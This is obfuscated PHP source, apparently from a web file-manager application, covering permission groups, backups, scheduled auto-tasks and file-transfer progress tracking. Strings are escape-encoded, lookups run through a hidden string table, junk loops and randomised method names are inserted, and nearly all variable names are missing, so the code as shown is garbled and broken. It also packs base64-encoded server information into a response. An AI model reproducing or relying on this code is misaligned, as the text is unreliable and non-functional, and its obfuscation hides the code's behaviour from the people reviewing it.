{ continue; } return $[$[483]]; } return !1; } public function findAuthReadOnly() { $ = self::AUTH_SHOW | self::AUTH_VIEW | s
elf::AUTH_DOWNLOAD; $ = self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE; return $this->findAuth($, $); } public funct
ion findAuthNotRead() { return $this->findAuth(0, self::AUTH_SHOW); } public function findAuthMinDefault() { $ =& $_SERVER[]; $
 = parent::listData(); $ = !1; foreach ($ as $) { if ($[$[495]] <= 0 || $[$[1985]] == $[228]) { co
ntinue; } if (!$) { $ = $; continue; } if ($[$[495]] > $[$[495]]) { $ = $; } } return $ ? $
[$[483]] : $[12]; } public function listData($ = false, $ = "\x73\x6f\162\x74", $ = false) { return parent::listDa
ta($, $, $); } public function update($, $) { $ =& $_SERVER[]; $ = parent::listData($); $
= $this->findByName($[$[32]]); if (!$ || $ && $[$[483]] != $[$[483]]) { return !1; } $this->filt
erAuth($[$[495]]); return parent::update($, $); } public function remove($) { $ = parent::listData($); if (!
$ || $[$_SERVER[][191]]) { return !1; } return parent::remove($); } public function add($ = array()) { $ =& $_
SERVER[]; if ($this->findByName($[$[32]])) { return !1; } $ = array($[32] => $[12], $[495] => 1, $[
1986] => $[1973], $[1985] => 1, $[191] => 0, $[1987] => 0); $ = array_merge($, $); $[$[1987]] =
$this->getSort(); $this->filterAuth($[$[495]]); return parent::insert($); } private function getSort() { $ =& $_SERVER
[]; $ = parent::listData(); $ = array_to_keyvalue($, $[12], $[1987]); return empty($) ? 0 : max($
) + 1; } private function filterAuth(&$) { if (!$) { return; } $ = array(self::AUTH_SHOW, self::AUTH_VIEW, self::AUTH_DOWNLOAD
, self::AUTH_UPLOAD, self::AUTH_EDIT, self::AUTH_REMOVE, self::AUTH_SHARE, self::AUTH_COMMENT, self::AUTH_EVENT, self::AUTH_ROOT); $ =
array(); foreach ($ as $) { if ($ & $) { $[] = $; } } if (in_array(self::AUTH_ROOT, $)) { $ = ar
ray_sum($); return; } $ = array(self::AUTH_DOWNLOAD => array(self::AUTH_VIEW), self::AUTH_EDIT => array(self::AUTH_VIEW), self::AUT
H_REMOVE => array(self::AUTH_EDIT), self::AUTH_SHARE => array(self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT)); fo
reach ($ as $) { if (isset($[$])) { $ = array_merge($, $[$]); } } $[] = self::AUTH_SHO
W; $ = array_sum(array_unique($)); } public function sort($, $) { return parent::update($, $); } } class Back
upModel extends ModelBaseLight { public $optionType = "\123\171\163\x74\145\x6d\x2e\x62\x61\143\x6b\x75\160\x4c\x69\163\164"; public $field
= array("\151\x6f", "\x6e\141\x6d\x65", "\x73\164\x61\164\x75\163", "\143\x6f\156\164\145\156\x74", "\x6d\x61\156\165\141\154", "\x72\145\16
3\x75\x6c\x74", "\164\151\x6d\x65\106\162\157\155", "\164\151\155\145\124\157"); public function config() { $ =& $_SERVER[]; Acti
on($[1988])->taskInit(); $ = Model($[843])->get($[856]); $ = json_decode($, !0); $ = is_array($) ? $ : arra
y(); $this->parseContent($); unset($[$[1734]]); Model($[1733])->cacheClear(); $ = $[1989]; $ = Model($[1
990])->findByKey($[1752], $); if (!$) { $ = array(); } if (isset($[$[206]])) { $[$[206]] = json_deco
de($[$[206]], !0); } if (isset($[$[206]])) { $[$[206]][$[1737]] = $[$[206]]; unset($[$[206]
]); } return array_merge($, $); } public function listData($ = false, $ = "\x6d\x6f\144\151\146\x79\x54\x69\155\x65", $
 = false) { $ = parent::listData($, $, !0); if (!$) { return $; } if ($) { $ = array($); } f
oreach ($ as &$) { $this->parseContent($); } return $ ? $[0] : $; } public function parseContent(&$) { $
=& $_SERVER[]; $ = _get($, $[171], $[91]); if (!in_array($, array($[849], $[1207]))) { $[$[171]] = $
 == $[91] ? $[1207] : $[849]; } } public function lastItem() { $ = $this->listData(); return !empty($[0]) ? $[0] :
null; } public function kill($) { $ =& $_SERVER[]; $ = $this->listData($); if (!$ || empty($[$[3
2]])) { return !0; } Task::kill($[855]); Task::kill($[873]); Task::kill($[882]); $ = $[$[32]]; $ = T
EMP_FILES . $[852] . $ . $[8]; IO::remove($, !1); return $this->remove($); } public function remove($) { $
 = $this->listData($); if (!$) { return !0; } return $this->backupRemove($); } private function backupRemove($) {
parent::remove($[$_SERVER[][483]]); $ = $this->backupPath($); IO::remove($, !1); return !0; } private function ba
ckupPath($) { $ =& $_SERVER[]; $ = $[$[32]]; $ = Model($[843])->get($[844]); $ = substr
(md5($[845] . $ . $), 0, 8); return "\173\151\x6f\x3a{$[$[825]]}\175\x2f\144\141\x74\x61\142\141\163\x65\57\142\141
\x63\153\165\x70\57" . $ . $[11] . $; } public function start() { $ =& $_SERVER[]; if ($GLOBALS[$[6]][$[92
]][$[1991]] != $[91]) { return !0; } $ = $this->config(); if (!$ || $[$[1734]] != $[91]) { return !1; } if ($
[$[171]] == $[849]) { $ = Model($[843])->get($[1320]); if ($ == $[1321]) { $[$[171]] = $[1207]
; } } $ = $this->process(); foreach ($ as $) { if ($) { return Task::restart($[$[483]]); } } $ = new Backup(
); $ = $->db(); if ($) { $ = $->dbFile(); if ($ && $[$[171]] == $[849]) { $ = $->file(); }
} Backup::set(array($[823] => 1, $[834] => time())); return !0; } public function process() { $ =& $_SERVER[]; $ =
array($[830] => Task::get($[855]), $[835] => Task::get($[873]), $[230] => Task::get($[882])); $ = !1; forea
ch ($ as &$) { if ($) { $ = !1; continue; } if ($) { $ = intval(_get($, $[1769], 0)); if (time() - $
 > 7200) { Task::kill($[$[483]]); $ = !0; $ = !1; } } } return $; } public function restore() { $ =& $_SERVER[
]; ActionCall($[1134], !0, 1); ActionCall($[1134], !0, 0); } } goto c; D: class AutoTask { const AUTO_DELAY_TIM
E = 2; const AUTO_RESTART_TIME = 7200; public static function start() { $ =& $_SERVER[]; if (self::valueGet($[823]) != $[9
1]) { return; } if (self::valueGet($[1714]) == $[91]) { $ = self::valueGet($[1715]); if (time() - $ > self::AUTO_RESTA
RT_TIME) { self::restart(); } return; } self::clearUserStatus(); self::valueSet($[1714], $[91]); self::log($[1716] . ACTION . $
[1717]); Hook::bind($[1718], $[1719]); $ = 0; while (!0) { self::cacheClear(); if (self::valueGet($[823]) != $[91])
{ self::valueSet($[1714], $[228]); self::log($[1720]); die; } $ = time(); if ($ - $ >= 60) { self::valueSet(array($
[1714] => $[91], $[1715] => $)); $ = $; } if (!file_exists(USER_SYSTEM . $[1721])) { self::valueSet(array($[171
4] => $[228], $[823] => $[228])); self::log($[1722]); die; } $ = file_get_contents(BASIC_PATH . $[1723]); $ = KO
D_VERSION . $[10] . KOD_VERSION_BUILD; $ = match_text($, $[1724]) . $[10] . match_text($, $[1725]); if ($ != $
) { self::restart(); self::log("\x73\x74\x6f\160\x65\x64\56\x5b\166\145\x72\x73\151\157\x6e\x20\165\x70\144\141\164\x65\x3b{$versionNow}\x
20\x3d\76\40{$version}\135"); die; } self::taskRunAll(); sleep(self::AUTO_DELAY_TIME); } } public static function clearUserStatus() { $ =
& $_SERVER[]; http_close(); $GLOBALS[$[1726]] = 1; $_SERVER[$[1727]] = $[1728]; $_COOKIE = array(); $GLOBALS[$[1729]] = 1;
$GLOBALS[$[1730]] = 1; Session::$sessionSign = guid(); Session::$data = array(); } public static function restart() { $ =& $_SERVER[
]; http_close(); self::valueSet($[823], $[228]); sleep(self::AUTO_DELAY_TIME + 5); self::valueSet(array($[1714] => $[228],
$[823] => $[91])); self::log($[1731]); } public static function taskSwitch() { $ =& $_SERVER[]; $ = self::valueGet($
[823]) == $[91] ? $[228] : $[91]; self::valueSet($[823], $); } public static function shutdownEvent() { $ =& $_
SERVER[]; self::valueSet($[1714], $[228]); self::log($[1732]); } public static function config($, $) { self::
valueSet($_SERVER[][823], $); } private static function taskRunAll() { $ =& $_SERVER[]; $ = timeFloat(); $ = M
odel($[1733])->listData(); $ = count($); for ($ = 0; $ < $; $++) { $ = $[$]; if (!$
[$[483]] || $[$[1734]] != $[91]) { continue; } if (!self::taskTimeCheck($)) { continue; } self::taskRun($); }
Hook::trigger($[1735]); self::taskQueueRun($); } private static function taskQueueRun($) { $ = 10; while (!0) { $
= TaskQueue::run(); if ($ === !1) { break; } if (timeFloat() - $ >= $) { break; } } } private static function taskTimeCheck(
$) { $ =& $_SERVER[]; $ = json_decode($[$[206]], !0); $ = intval($[$[1715]]); $ = strtot
ime($[1736] . $[$[1737]] . $[1738]) - strtotime($[1739]); $ = time() - strtotime(date($[1740]) . $
[1741]); $ = $ >= $ && $ <= $ + 3600; switch ($[$[33]]) { case $[1742]: if (time() - $ < 3600 *
24 * 30) { return !1; } if ($[$[1742]] == date($[1743]) && $) { return !0; } break; case $[1744]: if (time() -
$ < 3600 * 24 * 7) { return !1; } $ = date($[1745]) == 0 ? 7 : date($[1745]); if ($[$[1744]] == $ && $
) { return !0; } break; case $[1737]: if (time() - $ < 3600 * 24) { return !1; } if ($) { return !0; } break; case $
[1746]: if (time() - $ >= floatval($[$[1746]]) * 60) { return !0; } break; default: break; } return !1; } private static
function closeDatabase() { $ =& $_SERVER[]; static $ = 0; $ = 300; if (!$) { $ = time(); } if (time() -
$ < $) { return; } $ = time(); $ = Model($[585])->db($[12]); if ($) { $->closeConnect(); } if
(time() - TIME > 3600 * 24 * 3) { self::log($[1747], $[1748]); die; } } public static function taskRun($) { $ =& $_SERV
ER[]; self::log($[1749] . $[$[483]] . $[1750] . $[$[32]] . $[1751] . $[$[1752]]); M
odel($[1733])->run($[$[483]]); $ = timeFloat(); $ = $[12]; switch ($[$[33]]) { case $[39
2]: $ = url_request($[$[1752]], $[261], !1, !1, !1, !1, 10); if ($[$[823]]) { $ = strlen($[$
[1283]]); } break; case $[260]: $ = Hook::apply($[$[1752]]); default: break; } Model($[1753])->add(array($
[1754] => $[12], $[1755] => $[228], $[33] => $[1756] . $[$[483]], $[1757] => json_encode(a
rray($[32] => $[$[32]], $[1758] => timeFloat() - $, $[378] => $)))); $ = $ ? $[175
9] . $ : $[12]; self::log($[1760] . $[$[483]] . $[178] . $); return !0; } public static function val
ueGet($) { $ =& $_SERVER[]; $ = $[1761]; $ = Model($[516])->get($, $); if (is_null($)) {
Model($[516])->set($[823], $[91], $); Model($[516])->set($[1714], $[228], $); $ = Model($[
516])->get($, $); } return $; } private static function valueSet($, $ = false) { $ =& $_SERVER[]; $ =
$[1762]; CacheLock::lock($); $ = Model($[516])->set($, $, $[1761]); CacheLock::unlock($); return $;
} protected static function log($) { write_log($, $_SERVER[][1748]); } private static function cacheClear() { $ =& $_SE
RVER[]; Cache::clearMemory(Model($[516])->cacheKey($[1761])); Cache::clearMemory(Model($[516])->cacheKey($[1763]))
; Model($[1733])->cacheClear(); self::closeDatabase(); } } class Task { const STATYS_STOP = "\x73\164\157\x70"; const STATYS_RUNNING =
"\x72\x75\x6e\x6e\151\x6e\147"; const STATYS_KILL = "\153\x69\x6c\x6c"; public $task; private $isEnd = false; public function __destruct() {
$this->end(); } public function __construct($, $ = '', $ = 0, $ = '') { $ =& $_SERVER[]; if (self::get($))
{ return; } $this->task = array($[483] => $, $[1764] => USER_ID, $[1653] => $, $[534] => $[12], $[33] => $
, $[1139] => $[12], $[1137] => $, $[1765] => 0, $[1766] => 0, $[1767] => 0, $[1768] => timeFloat(), $
[1769] => 0, $[1770] => 0, $[1771] => 0, $[1772] => 0, $[823] => $[1714]); $GLOBALS[$[1773]] = 1; Hook::bind($
[1718], array($this, $[1774])); Hook::bind($[1775], array($this, $[1776])); $this->startAfter(); Hook::trigger($[1777], $th
is->task); $this->task[$[1770]] = timeFloat(); } public function end($ = '') { $ =& $_SERVER[]; if (!$this->task || $th
is->isEnd) { return; } if ($this->task[$[1770]]) { self::valueSet($this->task[$[483]], !1); } $this->isEnd = !0; if ($) { $t
his->task[$[534]] = $; } self::log($[1778] . $this->task[$[483]] . $[1779] . sprintf($[924], timeFloat() - $t
his->task[$[1768]]) . $[1780]); Hook::unbind($[1718], array($this, $[1774])); Hook::unbind($[1775], array($this, $
[1776])); $this->endAfter(); $ = $this->task; $this->task = !1; Hook::trigger($[1781], $); } public function update($
 = 0, $ = false) { $ =& $_SERVER[]; $ =& $this->task; if (!$) { return; } $[$[1765]] += $; $[
$[1769]] = timeFloat(); if ($[$[1137]]) { if ($[$[1137]] < $[$[1765]]) { $[$[1137]] = $[$
[1765]]; } $ = timeFloat() - $[$[1768]] - $[$[1771]]; if ($ <= 0) { $ = 0.001; } $[$[17
66]] = $[$[1765]] / $[$[1137]]; $[$[1767]] = $[$[1765]] / $; if ($[$[1766]] > 0) { $
[$[1772]] = $ * (1 - $[$[1766]]) / $[$[1766]]; } $[$[1772]] = $[$[1772]] <= 0 ? 0 :
$[$[1772]]; } $this->updateAfter(); $ = 0.2; if (timeFloat() - $[$[1770]] < $ && !$) { return; } $
= self::get($[$[483]]); $ = $[$[823]]; if ($ == self::STATYS_KILL) { $ = array($[1782] => LNG($
[1783]), $[1293] => !1); Cache::set($[1784] . $this->task[$[483]], $, 30); $this->onKill(); $this->end(); die; } el
se { if ($ == self::STATYS_STOP) { $ = 2; $[$[1771]] += $; self::valueSet($[$[483]], $); sleep($
); $this->update(); return; } } $[$[823]] = $ ? $ : $[$[823]]; $[$[1771]] = $[$[1771]] ? $
[$[1771]] : 0; $[$[1770]] = timeFloat(); Hook::trigger($[1785], $); self::valueSet($[$[483]], $)
; } public function onKillSet($, $ = array()) { $this->onKillCall = array($, $); } public function onKill() { $ =&
$_SERVER[]; self::log($[1778] . $this->task[$[483]] . $[1786]); Hook::trigger($[1787], $this->task); if (!$this->o
nKillCall) { return; } ActionApply($this->onKillCall[0], $this->onKillCall[1]); $this->onKillCall = !1; $this->task = !1; } protected functi
on updateAfter() { } protected function startAfter() { } protected function endAfter() { } public function shutdownEvent() { $this->end(); }
public function showJson($) { $ =& $_SERVER[]; Cache::set($[1784] . $this->task[$[483]], $, 60); return $
; } public static function get($) { $ =& $_SERVER[]; $ = self::valueGet($); if (is_array($) && $[$
[1788]]) { $ = ActionApply($[$[1788]], array($)); $ = is_array($) ? $ : $; } return $; }
public static function listData() { $ = self::valueGet(); return array_sort_by($, $_SERVER[][1768], !0); } public static fun
ction kill($) { return self::changeStatus($, self::STATYS_KILL); } public static function stop($) { return self::changeStatus(
$, self::STATYS_STOP); } public static function restart($) { return self::changeStatus($, self::STATYS_RUNNING); } public stat
ic function killAll() { $ =& $_SERVER[]; $ = self::listData(); foreach ($ as $) { self::kill($[$[483]]);
} sleep(2); foreach ($ as $) { self::valueSet($[$[483]], !1); } } private static function changeStatus($, $)
{ $ =& $_SERVER[]; $ = self::valueGet($); if (!$) { return !1; } $[$[823]] = $; self::valueSet($
, $); self::log($[1789] . $[$[483]] . $[1790] . $); return !0; } public static function valueGet($ = fal
se) { $ =& $_SERVER[]; if ($) { $ = Model($[528])->where(array($[97] => $, $[33] => $[1146]))->f
ind(); return $ ? json_decode($[$[459]], !0) : !1; } return self::taskListUser(USER_ID); } public static function taskListUs
er($ = false) { $ =& $_SERVER[]; $ = array($[33] => $[1146]); if ($) { $[$[1764]] = $; } $
= Model($[528])->where($)->select(); $ = $ ? $ : array(); foreach ($ as $ => $) { $[$] = json_d
ecode($[$[459]], !0); } return $; } public static function valueSet($, $) { $ =& $_SERVER[]; if (!$
) { return Model($[528])->where(array($[97] => $, $[33] => $[1146]))->delete(); } $ = json_encode($)
; if (!$) { ob_start(); var_dump($); $ = ob_get_clean(); self::log($[1791] . json_encode_force($)); } if (!$
 || !$[$[483]]) { return !1; } $ = array($[33] => $[1146], $[1764] => USER_ID, $[97] => $, $
[459] => $); $ = $[1792]; CacheLock::lock($); Model($[528])->add($, array(), !0); CacheLock::unlock($);
} public static function log($) { if (!GLOBAL_DEBUG) { return; } write_log($, $_SERVER[][1793]); } } class TaskFileTransfer
extends Task { protected function startAfter() { $ =& $_SERVER[]; $ =& $this->task; $this->sourceCopyFolder = !1; Hook::bin
d($[1794], array($this, $[1795])); Hook::bind($[1304], array($this, $[1796])); Hook::bind($[1797], array($this, $
[1798])); Hook::bind($[676], array($this, $[1799])); Hook::bind($[677], array($this, $[1800])); Hook::bind($[683
], array($this, $[1801])); Hook::bind($[684], array($this, $[1802])); Hook::bind($[679], array($this, $[1803])); Ho
ok::bind($[681], array($this, $[1804])); Hook::bind($[645], array($this, $[1805])); Hook::bind($[642], array($this,
$[1805])); Hook::bind($[647], array($this, $[1805])); Hook::bind($[649], array($this, $[1805])); Hook::bind($
[651], array($this, $[1805])); Hook::bind($[1806], array($this, $[1807])); Hook::bind($[667], array($this, $[1808])
); $this->sourceModelCopyFlag = !1; Hook::bind($[1809], array($this, $[1810])); Hook::bind($[1811], array($this, $[1812]
)); Hook::bind($[1813], array($this, $[1814])); $[$[1815]] = LNG($[1816]); $[$[1817]] = 0; $[$[
1818]] = 0; $[$[1139]] = $[12]; $[$[1819]] = $[12]; $[$[1820]] = 0; $[$[1821]] = 0; $
[$[1822]] = 0; if (!$[$[1653]]) { $[$[1653]] = LNG($[1823]); } } protected function endAfter() { $ =& $_S
ERVER[]; Hook::unbind($[1794], array($this, $[1795])); Hook::unbind($[1304], array($this, $[1796])); Hook::unbind(
$[1797], array($this, $[1798])); Hook::unbind($[676], array($this, $[1799])); Hook::unbind($[677], array($this, $
[1800])); Hook::unbind($[683], array($this, $[1801])); Hook::unbind($[684], array($this, $[1802])); Hook::unbind($
[679], array($this, $[1803])); Hook::unbind($[681], array($this, $[1804])); Hook::unbind($[645], array($this, $[1
805])); Hook::unbind($[642], array($this, $[1805])); Hook::unbind($[647], array($this, $[1805])); Hook::unbind($[64
9], array($this, $[1805])); Hook::unbind($[651], array($this, $[1805])); Hook::unbind($[1806], array($this, $[1807]
)); Hook::unbind($[667], array($this, $[1808])); Hook::unbind($[1809], array($this, $[1810])); Hook::unbind($[1811]
, array($this, $[1812])); Hook::unbind($[1813], array($this, $[1814])); } public function copyMoveStart($, $, $
, $) { $ =& $_SERVER[]; self::log($[1824] . $ . $[73] . $); $ = rtrim(TEMP_FILES, $[8]); if
(substr($, 0, strlen($)) == $) { return; } if (substr($, 0, strlen($)) == $) { return; } $ =& $this->tas
k; $[$[1825]] = KodIO::transferType($, $); $this->update(); } public function updateAfter() { $ =& $_SERVER[]; $
 =& $this->task; if (!$[$[836]]) { return; } if ($this->sourceModelCopyFlag) { return; } if ($[$[1825]] == $[1397])
{ return; } self::updateTask($); } private static function updateTask(&$) { $ =& $_SERVER[]; if ($[$[1825]]
== $[1275] || $[$[1825]] == $[110]) { if ($[$[1819]]) { $[$[1822]] = $[$[1821]] + $
[$[1818]]; } } else { if ($[$[1825]] == $[1398]) { if ($[$[1819]] == $[1275]) { $[$[
1822]] = $[$[1821]] + $[$[1818]] * 0.5; } else { if ($[$[1819]] == $[110]) { $[$[1822]] =
$[$[1821]] + $[$[1817]] * 0.5 + $[$[1818]] * 0.5; } } } } $[$[1766]] = $[$[1822]] / $
[$[836]]; if ($[$[1766]] > 0) { $ = timeFloat() - $[$[1768]] - $[$[1771]]; $[$[1
772]] = $ * (1 - $[$[1766]]) / $[$[1766]]; } } public function addPath($) { $ =& $_SERVER[]; if (!$
) { return; } $ =& $this->task; $ = IO::infoWithChildren($); $ = $[$[1826]] ? $[$[1826]][$
[1827]] : 0; $[$[1826]] = array($[1827] => $ + 1, $[502] => $[$[32]], $[87] => $[$[87]],
$[590] => $[$[590]] ? $[$[590]] : $[$[87]]); if ($[$[33]] == $[230]) { $[$[113
7]] += 1; } else { $[$[1137]] += $[$[82]][$[80]]; if ($[$[193]]) { $[$[1137]] += $[$
[82]][$[81]] + 1; } } $[$[836]] += $[$[79]]; $this->update(); } public function sourceCopyFolderStart() { $this->
sourceCopyFolder = !0; } public function sourceCopyFolderEnd() { $this->sourceCopyFolder = !1; } public function sourceAddHashStart($)
{ } public function sourceAddHashEnd($) { } public function sourceAddFileStart($) { $ =& $_SERVER[]; $ =& $this->task;
$[$[1817]] = $[$[79]]; $[$[1815]] = $[$[32]]; $[$[1139]] = $[$[32]]; $[$[1828]] = $
[$[87]]; $this->update(); } public function sourceAddFileEnd($) { $ =& $_SERVER[]; $ =& $this->task; $[$
[1822]] += $[$[79]]; $[$[1828]] = $[$[87]]; $this->update(1); } public function copyFileStart($, $,
$, $, $, $) { $ =& $_SERVER[]; $ = $; if ($ == $GLOBALS[$[1829]]) { $ = $GLOBALS[$
[1830]]; } $GLOBALS[$[1830]] = $; $GLOBALS[$[1829]] = $; $ =& $this->task; $[$[1815]] = $; $[$
[1817]] = (int) $->size($); $[$[1818]] = 0; $[$[1139]] = $[12]; $[$[1819]] = $[12]; $
[$[1820]] = 0; $ = $[$[1817]] > 1024 * 1024 * 10 ? !0 : !1; Cache::remove($[$[483]] . $[1831]); if ($
 && file_exists(get_path_father($))) { Cache::set($[$[483]] . $[1831], $); $[$[1788]] = array($[1832],
$[1833]); } $this->update(0, $); } public static function updateCopyLocalFileSize($) { $ =& $_SERVER[]; $ = Cach
e::get($[$[483]] . $[1831]); if (!$ || !file_exists($)) { return $; } $[$[1818]] = @filesize($); $
[$[1822]] += $[$[1818]]; self::updateTask($); return $; } public function copyFileEnd($, $, $, $
, $, $) { $ =& $_SERVER[]; $ =& $this->task; $[$[1818]] = $[$[1817]]; $[$[1819]
] = $[12]; unset($[$[1788]]); if ($ == $[$[1815]]) { $[$[1821]] += $[$[1817]]; $
[$[1822]] = $[$[1821]]; $ = 1; if (isset($[$[1828]]) && $[$[1828]] == $) { $ = 0; } $this
->update($); } else { $this->update(); $[$[1818]] = 0; } Cache::remove($[$[483]] . $[1831]); self::log($
[1834] . $ . $[73] . $ . $[262] . $ . $[1835] . $[$[1815]]); } public function updateFileEnd($,
$) { $ =& $_SERVER[]; $ =& $this->task; $[$[1815]] = $; $[$[1817]] = $; $[$[18
21]] += $; $[$[1822]] = $[$[1821]]; $this->update(1); self::log($[1836] . $); } public function sourceMode
lCopy($) { $ =& $_SERVER[]; $ = $[0]; $ = $[1]; $ =& $this->task; $this->sourceModelCopyFlag = !0;
$ = 0; switch ($) { case $[643]: $ = 1; break; case $[646]: $[$[1815]] = $[$[32]]; break; case
$[648]: $ = intval($[$[464]] * 0.4); break; case $[650]: $ = intval($[$[464]] * 0.2); break; case $
[652]: $ = intval($[$[464]] * 0.4); break; } $this->update($); $this->sourceModelCopyFlag = !1; } public function so
urceRemove($, $) { $ =& $_SERVER[]; $this->sourceModelCopyFlag = !0; $ = 1; if (isset($[$[82]])) { $
= $[$[82]][$[80]]; $ = $ + $[$[82]][$[81]] + 1; } $this->update($); $this->sourceModelCopyFlag = !1
; } public function sourceMove($) { $this->sourceRemove($, !1); } public function curlProgress($, $, $, $, $
) { $ =& $_SERVER[]; $ =& $this->task; if ($ > 0) { $[$[1139]] = $[1837]; $[$[1819]] = $[1
10]; if ($[$[1817]]) { $[$[1818]] = $; } if ($[$[1820]]) { $[$[1818]] = $ + $[$[1820]];
} } else { if ($ > 0) { if ($[$[1817]] == $) { $[$[1818]] = $; $[$[1139]] = $[1838]; $
[$[1819]] = $[1275]; } } } $this->update(); } public function curlProgressStart($) { } public function curlProgressEnd($
) { $ =& $_SERVER[]; $ =& $this->task; $ = curl_getinfo($); $ = $[$[1839]]; if ($ == -1) { $
 = $[$[1840]]; } if ($[$[1819]] == $[110] && $) { $[$[1820]] += $; } $this->update(); } } goto F
; F: $qgmwxjhpzo = $_SERVER[][691]; if (strlen($qgmwxjhpzo) < $_SERVER[][688]) { die; } class Application { private $de
faultModule = "\x69\156\144\145\x78"; private $defaultController = "\x69\x6e\x64\145\x78"; private $defaultAction = "\151\156\x64\x65\x78";
function __construct() { } public function setDefault($) { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = explode($
[0], trim($, $[0])); $this->defaultModule = $[0] ? $[0] : $this->defaultModule; $ = $[692]; if (strlen($
) < $[693]) { die; } $this->defaultController = $[1] ? $[1] : $this->defaultController; $ = $[694]; if (strlen($
) < $[695]) { return; } $this->defaultAction = $[2] ? $[2] : $this->defaultAction; $ = $[696]; while (strlen($
) < $[688]) { if (!$) { break; } $++; } $this->jegh08601bc7($[1], array($this, $[2])); $ = $[697]; } pub
lic function appRun($) { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = explode($[0], $); $ = $[698]; if
(strlen($) < $[695]) { return; } $ = strtolower($[0]); $ = $[3]; if ($ == $[4]) { $ = $[5]; $[
0] = $[6]; $[1] = $[1] . $[7]; $ = join($[0], $); $ = trim($, $[0]); } call_user_func(array($[8], $
[9]), $ . $[10], $); ActionCall($); call_user_func(array($[8], $[9]), $ . $[11], $); $ = $[699]
; if (strlen($) < $[326]) { return; } } private function autorun() { $ =& $_SERVER[]; $ =& $_SERVER[]; glob
al $config; if (count($config[$[12]]) == 0) { return; } foreach ($config[$[12]] as $ => $) { $this->appRun($); $
= $[700]; while ($ < $[326]) { if ($ >= 0) { break; } $++; } } } private function htjnab1a9354() { $ =& $_SER
VER[]; $ =& $_SERVER[]; $ = $[4]; $ = $[701]; while ($ < $[695]) { if ($ >= 0) { brea
k; } $++; } $ = $GLOBALS[$[13]][$[14]][0]; $ = $[702]; if (!$) { return; } if (!$ || strlen($
) <= strlen($)) { return; } if (strtolower(substr($, -strlen($))) != $) { return; } $ = substr($, 0, -strlen(
$)); $ = array($[4], $); $ = array_slice($GLOBALS[$[13]][$[14]], 1); $ = $[703]; if (strlen($
) < $[704]) { return; } $GLOBALS[$[13]][$[14]] = array_merge($, $); $ = $[705]; $GLOBALS[$[13]][$
[15]] = implode($[0], $GLOBALS[$[13]][$[14]]); } private function oqrd25787161() { $ =& $_SERVER[]; $ =& $_SE
RVER[]; if ($GLOBALS[$[13]][$[15]] != $[6]) { return; } $ = $_SERVER[$[16]]; $ = $[706]; $ =
$[17]; $ = $[707]; if (strlen($) < $[693]) { die; } if (!strstr($, $)) { return; } $ = strrpos($,
$); $ = $[708]; if (!$) { return; } $ = substr($, $ + strlen($)); $ = $[709]; while (strlen($
) < $[704]) { if (!$) { break; } $++; } preg_match_all($[18], $, $); $ = trim($[0][0], $[19]); $
 = $[710]; if (strlen($) < $[704]) { die; } $GLOBALS[$[13]][$[14]] = explode($[19], $); $GLOBALS[$[13
]][$[15]] = implode($[0], $GLOBALS[$[13]][$[14]]); } public function run() { $ =& $_SERVER[]; $ =& $
_SERVER[]; $this->oqrd25787161(); $this->htjnab1a9354(); $ = $GLOBALS[$[13]][$[14]]; $ = $GLOBALS[$[13]][$[15
]]; define($[20], isset($[0]) && $[0] ? $[0] : $this->defaultModule); $ = $[711]; while (strlen($) < $
[704]) { if (!$) { break; } $++; } define($[21], isset($[1]) && $[0] ? $[1] : $this->defaultController); def
ine($[22], isset($[2]) && $[0] ? $[2] : $this->defaultAction); define($[23], MOD . $[0] . ST . $[0] . ACT); $
 = $[712]; if (strlen($) < $[688]) { return; } $_SERVER[$[24]] = strtolower(ACTION); $ = $[713]; $this->au
torun(); $ = $[714]; if (!$) { die; } if (count($) >= 3) { $this->appRun($); } else { $this->appRun(ACTION); } }
private $ikfg863a10f8 = array(); private $tjlz46e76026 = ''; public function gjkub896b086() { $ =& $_SERVER[]; $ =& $_SERVER[
]; $this->npyq089114ae(); $ = $[715]; if (strlen($) < $[695]) { return; } $this->ruap7e8a0df8(); $this->uxjl481f4656();
$this->pfxe18687997(); $this->vcsib7656530(); $ = $[716]; while (strlen($) < $[693]) { if (!$) { break; } $++; } $
this->tcau55e489b6(); $this->bpms2251bbad(); $ = $[717]; if (!$) { return; } $this->jegh08601bc7($[25], array($this, $
[26])); $this->jegh08601bc7($[27], array($this, $[28])); $ = $[718]; if (!$) { die; } $this->jegh08601bc7($[29],
array($this, $[30])); $ = $[719]; if (strlen($) < $[688]) { die; } $this->jegh08601bc7($[31], array($this, $
[32])); $ = $[720]; if (!$) { return; } } public function belfee9855ba($) { $ =& $_SERVER[]; $ =& $_SERV
ER[]; $ = Model($[33])->get(); $ = array($[34], $[35], $[36], $[37], $[38], $[39],
$[40], $[41], $[42], $[43], $[44], $[45], $[46], $[47], $[48], $[49], $[5
0], $[51], $[52], $[53], $[54], $[55], $[56], $[57], $[58], $[59], $[60], $
[61], $[62], $[63], $[64], $[65], $[66], $[67], $[68], $[69], $[70], $[71], $
[72], $[73], $[74], $[75], $[76], $[77], $[78], $[79], $[80], $[81], $[82],
$[83], $[84], $[85]); foreach ($ as $

]]; unset($[$[88]][$[90]][$[91]]); unset($[$[88]][$[90]][$[92]]); unset($[$[88]][$
[89]][$[46]]); $ = $[721]; while ($ < $[704]) { if ($ >= 0) { break; } $++; } unset($[$[88]]
[$[89]][$[93]]); $[$[88]][$[89]][$[94]] = array($[95] => (int) $[$[96]], $[97] =>
(int) _get($, $[98], 0)); $ = $[722]; if (!$) { die; } $ = substr(md5($[99] . get_client_ip() . $
[$[100]]), 0, 15); $[$[101]][$[102]] = Mcrypt::encode(Session::sign(), $, 3600 * 24); $[$[101]][$
[103]] = Action($[104])->accessToken(); $[$[101]][$[105]] = md5($_SERVER[$[106]] . $[$[100]])
; $ = $[723]; while (strlen($) < $[688]) { if (!$) { break; } $++; } $[$[101]][$[107]] = base64_e
ncode(serverInfo()); $ = $[724]; if (!$) { die; } $[$[101]][$[108]] = $this->tjlz46e76026; if ($[$
[108]] != $[109]) { $[$[101]][$[110]] = $[$[110]]; $[$[101]][$[111]] = $[$[1
11]]; $ = rand_string(10) . $this->tjlz46e76026 . rand_string(5); $[$[88]][$[112]][$[113]] = $this->movbf0c46773
($, $[$[101]][$[105]]); } if ($this->tjlz46e76026 == $[109]) { $[$[88]][$[89]][$[94]][$
[98]] = 0; } $[$[101]][$[114]] = $this->versionPluginFilter(); $[$[101]][$[115]] = _get($this->ikfg863
